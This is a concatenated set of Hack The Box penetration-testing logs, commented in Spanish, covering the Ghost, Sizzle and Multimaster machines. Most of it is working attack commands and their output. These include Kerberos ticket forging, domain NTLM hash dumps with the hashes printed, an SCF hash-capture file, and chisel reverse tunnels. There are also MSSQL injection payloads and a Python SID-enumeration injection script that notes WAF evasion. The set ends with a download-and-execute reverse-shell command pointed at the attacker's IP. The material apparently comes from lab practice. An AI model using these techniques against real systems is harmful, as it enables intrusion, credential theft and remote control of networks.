Version: 0.7.5
ligolo-ng » INFO[0067] Agent joined. id=31530714-8a8b-4acd-8cfd-765668586137 name="NT AUTHORITY\\SYSTEM@PRIMARY" remote="10.10.11.24:49803"
ligolo-ng »
ligolo-ng » session
? Specify a session : 1 - NT AUTHORITY\SYSTEM@PRIMARY - 10.10.11.24:49803 - 31530714-8a8b-4acd-8cfd-765668586137
[Agent : NT AUTHORITY\SYSTEM@PRIMARY] » start
[Agent : NT AUTHORITY\SYSTEM@PRIMARY] » INFO[0074] Starting tunnel to NT AUTHORITY\SYSTEM@PRIMARY (31530714-8a8b-4acd-8cfd-765668586137) ❯ cat /etc/hosts | grep corp.ghost.htb
10.0.0.10 corp.ghost.htb❯ impacket-ticketer -aesKey b0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d -domain-sid S-1-5-21-2034262909-2733679486-179904498 -extra-sid S-1-5-21-4084500788-938703357-3654145966-519 -domain corp.ghost.htb Administrator 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for corp.ghost.htb/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in Administrator.ccache❯ export KRB5CCNAME=Administrator.ccache
❯ klist -i
Ticket cache: FILE:Administrator.ccache
Default principal: Administrator@CORP.GHOST.HTB
Valid starting Expires Service principal
08/02/25 04:14:33 06/02/35 04:14:33 krbtgt/CORP.GHOST.HTB@CORP.GHOST.HTB
renew until 06/02/35 04:14:33❯ secretsdump.py dc01.ghost.htb -k -no-pass -just-dc-ntlm
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1cdb17d5c14ff69e7067cffcc9e470bd:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0cdb6ae71c3824f2da2815f69485e128:::
kathryn.holland:3602:aad3b435b51404eeaad3b435b51404ee:0adf6114ba230ef8f023eca3c0d1af50:::
cassandra.shelton:3603:aad3b435b51404eeaad3b435b51404ee:96d2251e44e42816314c08b8e1f11b87:::
robert.steeves:3604:aad3b435b51404eeaad3b435b51404ee:7e2e1e1163ff3fa9304ecd8df6f726fe:::
florence.ramirez:3606:aad3b435b51404eeaad3b435b51404ee:29542931896c7e7a9fbca17b0dd8ab6a:::
justin.bradley:3607:aad3b435b51404eeaad3b435b51404ee:a2be8ec65d6b212138cb36422ed32f46:::
arthur.boyd:3608:aad3b435b51404eeaad3b435b51404ee:b5b7f0787f3c07f42958d33518ae19a5:::
beth.clark:3610:aad3b435b51404eeaad3b435b51404ee:1582f51fcd02e2e5316d497f2552bb83:::
charles.gray:3611:aad3b435b51404eeaad3b435b51404ee:d2fe7f2c7484fc550cac49836eabca3d:::
jason.taylor:3612:aad3b435b51404eeaad3b435b51404ee:0159e6bd4326812f9a6c406ea84035e6:::
intranet_principal:3614:aad3b435b51404eeaad3b435b51404ee:e9fac15124e1d927cbd71f851792b04f:::
gitea_temp_principal:3615:aad3b435b51404eeaad3b435b51404ee:2058fa4502750fa5d7ebd874b1ea43a1:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:e6c3d61860f92e30e8e9744ac5d9783b:::
LINUX-DEV-WS01$:3630:aad3b435b51404eeaad3b435b51404ee:be14220f3b71b34a61d2d516d595555c:::
adfs_gmsa$:4101:aad3b435b51404eeaad3b435b51404ee:0bef79ae4d25b1864570212e33922d14:::
GHOST-CORP$:2101:aad3b435b51404eeaad3b435b51404ee:be0a51897087a382ca0726b2403e6b00:::
[*] Cleaning up...❯ nxc winrm 10.10.11.24 -u 'Administrator' -H '1cdb17d5c14ff69e7067cffcc9e470bd'
WINRM 10.10.11.24 5985 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:ghost.htb)
WINRM 10.10.11.24 5985 DC01 [+] ghost.htb\Administrator:1cdb17d5c14ff69e7067cffcc9e470bd (Pwn3d!)
❯ evil-winrm -i 10.10.11.24 -u 'Administrator' -H '1cdb17d5c14ff69e7067cffcc9e470bd'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
9aa9bfa2************************nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.10.103 -oG allPortsnmap -sCV -p21,53,80,135,139,389,443,445,464,593,636,3268,3269,5985,5986,9389,47001,49664,49665,49666,49669,49673,49690,49691,49693,49696,49708,49724,49743 10.10.10.103 -A -oN targeted -oX targetedXMLxsltproc targetedXML > index.html
python3 -m http.server 80ldapsearch -x -H ldap://10.10.10.103 -s base | grep defaultNamingContext
nxc smb 10.10.10.103catnp /etc/hosts | grep sizzlewhatweb https://sizzle.htb.localgobuster dir -u https://sizzle.htb.local -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200ftp 10.10.10.103nxc smb 10.10.10.103 -u 'guest' -p ''
nxc smb 10.10.10.103 -u 'guest' -p '' --sharesnxc smb 10.10.10.103 -u 'guest' -p '' -M spider_plus
cat /tmp/nxc_hosted/nxc_spider_plus/10.10.10.103.json | jqmkdir /mnt/shares
mount -t cifs -o username=guest,password= '//10.10.10.103/Department Shares' /mnt/shares
cd /mnt/shares
ls -lfor dir in $(ls /mnt/shares); do for subdir in $(ls /mnt/shares/$dir); do smbcacls "//10.10.10.103/Department Shares" "$dir/$subdir" -N | grep -i everyone | grep -i full > /dev/null && echo "[*] Directorio $dir/$subdir: Permisos de escritura"; done; done[Shell]
Command=2
IconFile=\\10.10.16.5\smbFolder\test.ico
[Taskbar]
Command=ToggleDesktopsmbserver.py smbFolder $(pwd) -smb2support
smbclient "//10.10.10.103/Department Shares/" -U 'Guest%'
cd Users/Public
put file.scf responder -I tun0 -v
smbclient "//10.10.10.103/Department Shares/" -U 'Guest%'
cd Users/Public
put file.scf hashcat -a 0 hashes /usr/share/wordlists/rockyou.txtnxc smb 10.10.10.103 -u 'amanda' -p 'Ashare1972'
nxc smb 10.10.10.103 -u 'amanda' -p 'Ashare1972' --sharesevil-winrm -i 10.10.10.103 -u 'amanda' -p 'Ashare1972'gobuster dir -u http://sizzle.htb.local -w /usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt -t 200openssl req -newkey rsa:2048 -nodes -keyout amanda.key -out amanda.csrevil-winrm -S -c certnew.cer -k amanda.key -i 10.10.10.103 -u 'amanda' -p 'Ashare1972'bloodhound-python -c All -ns 10.10.10.103 -u 'amanda' -p 'Ashare1972' -d htb.local --zipimpacket-GetUserSPNs -dc-ip 10.10.10.103 htb.local/amanda -debug 2>/dev/nullpython3 -m http.server 80
IWR -Uri http://10.10.16.5/Rubeus.exe -OutFile Rubeus.exeGet-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections./Rubeus.exe kerberoast /creduser:htb.local\amanda /credpassword:Ashare1972# Desde el equipo atacante
python3 -m http.server 80
# Desde el equipo víctima
IWR -Uri http://10.10.16.5/chisel.exe -OutFile chisel.exe
# Desde el equipo atacante
./chisel server --reverse -p 1234
# Desde el equipo víctima
./chisel.exe client 10.10.16.5:1234 R:88:127.0.0.1:88 R:389:127.0.0.1:389impacket-GetUserSPNs -dc-ip 127.0.0.1 htb.local/amanda -request 2>/dev/nullhashcat -a 0 hash.txt /usr/share/wordlists/rockyou.txtnxc smb 10.10.10.103 -u 'mrlky' -p 'Football#7'
nxc smb 10.10.10.103 -u 'mrlky' -p 'Football#7' --sharessecretsdump.py -just-dc-ntlm htb.local/mrlky@10.10.10.103nxc smb 10.10.10.103 -u 'Administrator' -H 'f6b7160bfc91823792e0ac3a162c9267'wmiexec.py htb.local/Administrator@10.10.10.103 -hashes :f6b7160bfc91823792e0ac3a162c9267❯ iRecon 10.10.11.54❯ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.10.179 -oG allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-13 14:03 CET
Nmap scan report for 10.10.10.179
Host is up (0.057s latency).
Not shown: 65488 closed tcp ports (reset), 19 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1433/tcp open ms-sql-s
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49668/tcp open unknown
49671/tcp open unknown
49674/tcp open unknown
49675/tcp open unknown
49678/tcp open unknown
49688/tcp open unknown
49694/tcp open unknown
49703/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 18.84 seconds❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.179
[*] Open ports: 53,80,88,135,139,389,445,464,593,636,1433,3268,3269,3389,5985,9389,47001,49664,49665,49666,49668,49671,49674,49675,49678,49688,49694,49703
[*] Ports copied to clipboard❯ nmap -sCV -p53,80,88,135,139,389,445,464,593,636,1433,3268,3269,3389,5985,9389,47001,49664,49665,49666,49667,49671,49674,49675,49678,49688,49694,49703 10.10.10.179 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-13 13:55 CET
Nmap scan report for multimaster.megacorp.local (10.10.10.179)
Host is up (0.074s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: MegaCorp
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-13 13:05:07Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGACORP)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-01-13T12:58:07
|_Not valid after: 2055-01-13T12:58:07
| ms-sql-info:
| 10.10.10.179:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 10.10.10.179:1433:
| Target_Name: MEGACORP
| NetBIOS_Domain_Name: MEGACORP
| NetBIOS_Computer_Name: MULTIMASTER
| DNS_Domain_Name: MEGACORP.LOCAL
| DNS_Computer_Name: MULTIMASTER.MEGACORP.LOCAL
| DNS_Tree_Name: MEGACORP.LOCAL
|_ Product_Version: 10.0.14393
|_ssl-date: 2025-01-13T13:06:15+00:00; +9m40s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: MEGACORP
| NetBIOS_Domain_Name: MEGACORP
| NetBIOS_Computer_Name: MULTIMASTER
| DNS_Domain_Name: MEGACORP.LOCAL
| DNS_Computer_Name: MULTIMASTER.MEGACORP.LOCAL
| DNS_Tree_Name: MEGACORP.LOCAL
| Product_Version: 10.0.14393
|_ System_Time: 2025-01-13T13:06:05+00:00
|_ssl-date: 2025-01-13T13:06:15+00:00; +9m40s from scanner time.
| ssl-cert: Subject: commonName=MULTIMASTER.MEGACORP.LOCAL
| Not valid before: 2025-01-12T12:57:31
|_Not valid after: 2025-07-14T12:57:31
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp closed unknown
49671/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49678/tcp open msrpc Microsoft Windows RPC
49688/tcp open msrpc Microsoft Windows RPC
49694/tcp open msrpc Microsoft Windows RPC
49703/tcp open msrpc Microsoft Windows RPC
Device type: general purpose
Running: Microsoft Windows 2016
OS CPE: cpe:/o:microsoft:windows_server_2016
OS details: Microsoft Windows Server 2016
Network Distance: 2 hops
Service Info: Host: MULTIMASTER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: MULTIMASTER
| NetBIOS computer name: MULTIMASTER\x00
| Domain name: MEGACORP.LOCAL
| Forest name: MEGACORP.LOCAL
| FQDN: MULTIMASTER.MEGACORP.LOCAL
|_ System time: 2025-01-13T05:06:05-08:00
| smb2-time:
| date: 2025-01-13T13:06:08
|_ start_date: 2025-01-13T12:57:40
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 1h18m14s, deviation: 3h01m25s, median: 9m39s
TRACEROUTE (using port 49667/tcp)
HOP RTT ADDRESS
1 105.20 ms 10.10.16.1
2 31.87 ms multimaster.megacorp.local (10.10.10.179)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 78.40 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ nxc smb 10.10.10.179
SMB 10.10.10.179 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
❯ ldapsearch -x -H ldap://10.10.10.179 -s base | grep defaultNamingContext
defaultNamingContext: DC=MEGACORP,DC=LOCAL❯ cat /etc/hosts | grep multimaster
10.10.10.179 multimaster.megacorp.local megacorp.local❯ whatweb http://10.10.10.179
http://10.10.10.179 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.179], Microsoft-IIS[10.0], Script, Title[MegaCorp], X-Powered-By[ASP.NET], X-UA-Compatible[IE=edge]import requests
import json
# URL del endpoint
url = "http://10.10.10.179/api/getColleagues"
# Cabeceras de la solicitud
headers = {
"Content-Type": "application/json;charset=utf-8",
"Origin": "http://10.10.10.179",
"Referer": "http://10.10.10.179/",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
}
# Generar letras de la A a la Z
letters = [chr(i) for i in range(ord('A'), ord('Z') + 1)]
# Lista para almacenar correos electrónicos únicos
emails = set()
print("Iniciando enumeración de usuarios...")
for letter in letters:
# Cuerpo de la solicitud con la letra actual
data = {"name": letter}
try:
# Enviar la solicitud POST
response = requests.post(url, headers=headers, json=data)
# Verificar si la respuesta es válida
if response.status_code == 200:
# Parsear la respuesta JSON
users = response.json()
# Extraer correos electrónicos
for user in users:
email = user.get("email")
if email:
emails.add(email) # Añadir el correo a la lista
else:
print(f"Error en la solicitud con letra {letter}: {response.status_code}")
except Exception as e:
print(f"Error al procesar la letra {letter}: {e}")
# Mostrar los correos electrónicos extraídos
print("\nCorreos electrónicos encontrados:")
for email in sorted(emails):
print(email)❯ chmod +x userenum.py
❯ python3 userenum.py
Iniciando enumeración de usuarios...
Correos electrónicos encontrados:
aldom@megacorp.htb
alyx@megacorp.htb
ckane@megacorp.htb
cyork@megacorp.htb
egre55@megacorp.htb
ilee@megacorp.htb
james@megacorp.htb
jorden@megacorp.htb
kpage@megacorp.htb
minato@megacorp.htb
nbourne@megacorp.htb
okent@megacorp.htb
rmartin@megacorp.htb
sbauer@megacorp.htb
shayna@megacorp.htb
zac@magacorp.htb
zpowers@megacorp.htb❯ cat users.txt | awk '{print $1}' FS='@' | sponge users.txt
❯ cat users.txt
aldom
alyx
ckane
cyork
egre55
ilee
james
jorden
kpage
minato
nbourne
okent
rmartin
sbauer
shayna
zac
zpowers❯ kerbrute userenum --dc 10.10.10.179 -d megacorp.local users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 01/13/25 - Ronnie Flathers @ropnop
2025/01/13 14:14:57 > Using KDC(s):
2025/01/13 14:14:57 > 10.10.10.179:88
2025/01/13 14:14:57 > [+] VALID USERNAME: cyork@megacorp.local
2025/01/13 14:14:57 > [+] VALID USERNAME: ckane@megacorp.local
2025/01/13 14:14:57 > [+] VALID USERNAME: aldom@megacorp.local
2025/01/13 14:14:57 > [+] VALID USERNAME: kpage@megacorp.local
2025/01/13 14:14:57 > [+] VALID USERNAME: alyx@megacorp.local
2025/01/13 14:14:57 > [+] VALID USERNAME: james@megacorp.local
2025/01/13 14:14:57 > [+] VALID USERNAME: jorden@megacorp.local
2025/01/13 14:14:57 > [+] VALID USERNAME: nbourne@megacorp.local
2025/01/13 14:14:57 > [+] VALID USERNAME: ilee@megacorp.local
2025/01/13 14:14:57 > [+] VALID USERNAME: okent@megacorp.local
2025/01/13 14:14:57 > [+] VALID USERNAME: zac@megacorp.local
2025/01/13 14:14:57 > [+] VALID USERNAME: rmartin@megacorp.local
2025/01/13 14:14:57 > [+] VALID USERNAME: sbauer@megacorp.local
2025/01/13 14:14:57 > [+] VALID USERNAME: zpowers@megacorp.local
2025/01/13 14:14:57 > Done! Tested 17 usernames (14 valid) in 0.212 seconds1' UNION ALL SELECT 1,2,3,4;-- -1' UNION ALL SELECT 1,2,3,4,5;-- -1' UNION ALL SELECT 1,@@version,db_name(),4,5;-- -1' UNION ALL SELECT 1,name,3,4,5 FROM master..sysdatabases;-- -1' UNION ALL SELECT 1,name,3,4,5 FROM Hub_DB..sysobjects WHERE xtype ='U';-- -1' UNION ALL SELECT 1,name,3,4,5 FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Logins');-- -1' UNION ALL SELECT 1,username,password,4,5 FROM Logins;-- -❯ catnp resultBBDD.txt | jq | grep 'name' | awk '{print $NF}' | tr -d '",' > usersBBDD.txt
❯ catnp resultBBDD.txt | jq | grep 'position' | awk '{print $NF}' | tr -d ' ",' > passwordsBBDD.txt❯ hashcat -a 0 -m 17900 passwordsBBDD.txt /usr/share/wordlists/rockyou.txt
...[snip]...
9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739:password1
68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813:finance1
fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa:banking1
...[snip]...❯ nxc smb 10.10.10.179 -u users.txt -p passwords.txt --continue-on-success
SMB 10.10.10.179 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\aldom:password1 STATUS_LOGON_FAILURE
...[snip]...
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\sbauer:banking1 STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\shayna:banking1 STATUS_LOGON_FAILURE
...[snip]...1' UNION ALL SELECT 1,2,3,4,(select default_domain());-- -1' UNION ALL SELECT 1,2,3,4,(select sys.fn_varbintohexstr(SUSER_SID('MEGACORP\Administrator')));-- -import struct
import sys
def hex_to_sid(sid_hex):
# Convertir el SID hexadecimal a bytes
sid_bytes = bytes.fromhex(sid_hex.replace("0x", ""))
# Extraer la versión del SID
version = sid_bytes[0]
# Extraer el identificador de autoridad
identifier_authority = int.from_bytes(sid_bytes[2:8], 'big')
# Contar las subautoridades
subauthority_count = sid_bytes[1]
# Extraer las subautoridades
subauthorities = struct.unpack('<' + 'I' * subauthority_count, sid_bytes[8:])
# Construir el SID en formato legible
sid = f'S-{version}-{identifier_authority}' + ''.join(f'-{sub}' for sub in subauthorities)
return sid
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Uso: python3 convert.py <SID_HEX>")
sys.exit(1)
# Leer el argumento de la línea de comandos
sid_hex = sys.argv[1]
# Convertir y mostrar el resultado
try:
sid = hex_to_sid(sid_hex)
print(f"SID: {sid}")
except Exception as e:
print(f"Error: {e}")❯ python3 convert.py 0x0105000000000005150000001c00d1bcd181f1492bdfc236f4010000
SID: S-1-5-21-3167813660-1240564177-918740779-500❯ cat request.txt; echo
POST /api/getColleagues HTTP/1.1
Host: 10.10.10.179
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json;charset=utf-8
Content-Length: 12
Origin: http://10.10.10.179
Connection: keep-alive
Referer: http://10.10.10.179/
Sec-GPC: 1
Priority: u=0
{"name":"a"}❯ python3 /opt/mssqli-duet/python/mssqli-duet.py -p 'name' -i "a'" -e unicode -r request.txt -rid 1000-1200 -t 3
[+] Beginning enumeration - Start time: Mon, 13 Jan 2025 16:40:22
[+] Collected request data:
Target URL = http://10.10.10.179/api/getColleagues
Method = POST
Content-Type = application/json;charset=utf-8
Cookies = None
Request data = {"name":"a"}
[+] Determining the number of columns in the table...
[!] Number of columns is 5
[+] Determining column type...
[-] Column type not null
[!] Column type is 1
[+] Discovering domain name...
[+] Domain = MEGACORP
[+] Discovering domain SID...
S-1-5-21-3167813660-1240564177-918740779-
[+] Enumerating Active Directory via SIDs...
[+] Determining users...
MEGACORP\\DnsAdmins
MEGACORP\\DnsUpdateProxy
MEGACORP\\svc-nas
MEGACORP\\tushikitatomo
MEGACORP\\andrew
MEGACORP\\lana
[+] Determining network hosts...
MEGACORP\\MULTIMASTER$
[+] Determining groups...
MEGACORP\\Privileged IT Accounts
[!] Finished!
Mon, 13 Jan 2025 16:51:44import json
import requests
from time import sleep
# URL de destino al que se enviarán las peticiones.
url = 'http://10.10.10.179/api/getColleagues'
# Esta función se encarga de codificar el payload de la petición.
def encode_me(str):
val = []
# Iteramos sobre cada carácter en la cadena 'str'.
for i in str:
# Convertimos cada carácter a su equivalente en hexadecimal y lo agregamos con el prefijo "\\u00".
val.append("\\u00"+hex(ord(i)).split("x")[1])
# Unimos todos los valores generados en una cadena final.
return ''.join([i for i in val])
# Iteramos sobre una serie de números del 1000 al 1200.
for i in range(1000,1200):
i = hex(i)[2:].upper() # Convertimos el número a su representación hexadecimal y lo convertimos a mayúsculas.
if len(i) < 4:
i = '0' + i # Aseguramos que siempre tengamos cuatro caracteres en el número hexadecimal.
# Reversamos los bytes del número hexadecimal.
t = bytearray.fromhex(i)
t.reverse() # Invertimos los bytes.
t = ''.join(format(x,'02x') for x in t).upper()+'0'*4 # Formateamos los bytes invertidos en mayúsculas.
# Construimos el SID a partir del número hexadecimal procesado.
sid = '0x0105000000000005150000001c00d1bcd181f1492bdfc236{}'.format(t)
# Creamos el payload que se enviará en la petición, buscando la función SUSER_SNAME.
payload = "hello' UNION SELECT 1,SUSER_SNAME({}),3,4,5--".format(sid)
r = requests.post(url,data='{"name":"'+ encode_me(payload) + '"}',headers={'Content-Type': 'Application/json'})
# Convertimos la respuesta a un objeto JSON para obtener el nombre del usuario.
user = json.loads(r.text)[0]["name"]
# Si se encontró un usuario, lo imprimimos.
if user:
print(user)
# Hacemos una pausa entre las peticiones para evitar ser detectado por sistemas de seguridad (WAF).
sleep(3)❯ python3 ridenum_mssql.py
MEGACORP\MULTIMASTER$
MEGACORP\DnsAdmins
MEGACORP\DnsUpdateProxy
MEGACORP\svc-nas
MEGACORP\Privileged IT Accounts
MEGACORP\tushikikatomo
MEGACORP\andrew
MEGACORP\lana❯ nxc smb 10.10.10.179 -u users.txt -p passwords.txt --continue-on-success
...[snip]...
SMB 10.10.10.179 445 MULTIMASTER [+] MEGACORP.LOCAL\tushikikatomo:finance1
...[snip]...❯ ldapdomaindump -u 'sequel.htb\tushikikatomo' -p 'finance1' 10.10.10.179 -o ldap
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
❯ cd ldap
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ evil-winrm -i 10.10.10.179 -u 'tushikikatomo' -p 'finance1'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\alcibiades\Documents> type ../Desktop/user.txt
2b2455fff8***********************Evil-WinRM* PS C:\inetpub\wwwroot> ls
Access to the path 'C:\inetpub\wwwroot' is denied.
At line:1 char:1
+ ls
+ ~~
+ CategoryInfo : PermissionDenied: (C:\inetpub\wwwroot:String) [Get-ChildItem], UnauthorizedAccessException
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand*Evil-WinRM* PS C:\Program Files> ls
Directory: C:\Program Files
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/25/2019 10:59 AM Common Files
d----- 1/9/2020 2:39 PM Internet Explorer
d----- 1/7/2020 9:40 PM Microsoft
da---- 1/7/2020 7:47 PM Microsoft SQL Server
d----- 1/7/2020 7:26 PM Microsoft Visual Studio 10.0
da---- 1/9/2020 3:18 AM Microsoft VS Code
d----- 1/7/2020 7:27 PM Microsoft.NET
d----- 1/7/2020 9:43 PM Reference Assemblies
d----- 7/19/2021 1:07 AM VMware
d-r--- 1/9/2020 2:46 PM Windows Defender
d----- 1/9/2020 2:39 PM Windows Mail
d----- 1/9/2020 2:39 PM Windows Media Player
d----- 7/16/2016 6:23 AM Windows Multimedia Platform
d----- 7/16/2016 6:23 AM Windows NT
d----- 1/9/2020 2:39 PM Windows Photo Viewer
d----- 7/16/2016 6:23 AM Windows Portable Devices
d----- 7/16/2016 6:23 AM WindowsPowerShell*Evil-WinRM* PS C:\Program Files\Microsoft VS Code> (Get-Command .\Code.exe).version
Major Minor Build Revision
----- ----- ----- --------
1 37 1 0*Evil-WinRM* PS C:\Users\alcibiades\Documents> ps
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
314 30 49612 73404 180 1 Code
612 41 38972 82612 520 1 Code
285 51 58000 74612 3144 1 Code
406 22 15100 24416 3288 1 Code
418 55 133956 170140 6368 1 Code
200 15 6164 12856 6860 1 Code
...[snip]...❯ ls
cefdebug.exe README.md
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> IWR -Uri http://10.10.16.5/cefdebug.exe -OutFile cef.exe❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...❯ tail -n 1 rev.ps1
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.5 -Port 443
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> IEX (New-Object Net.WebCLient).downloadString("http://10.10.16.5/rev.ps1")
At line:1 char:1
+ function Invoke-PowerShellTcp
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
At line:1 char:1
+ IEX (New-Object Net.WebCLient).downloadString("http://10.10.16.5/rev. ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color>❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
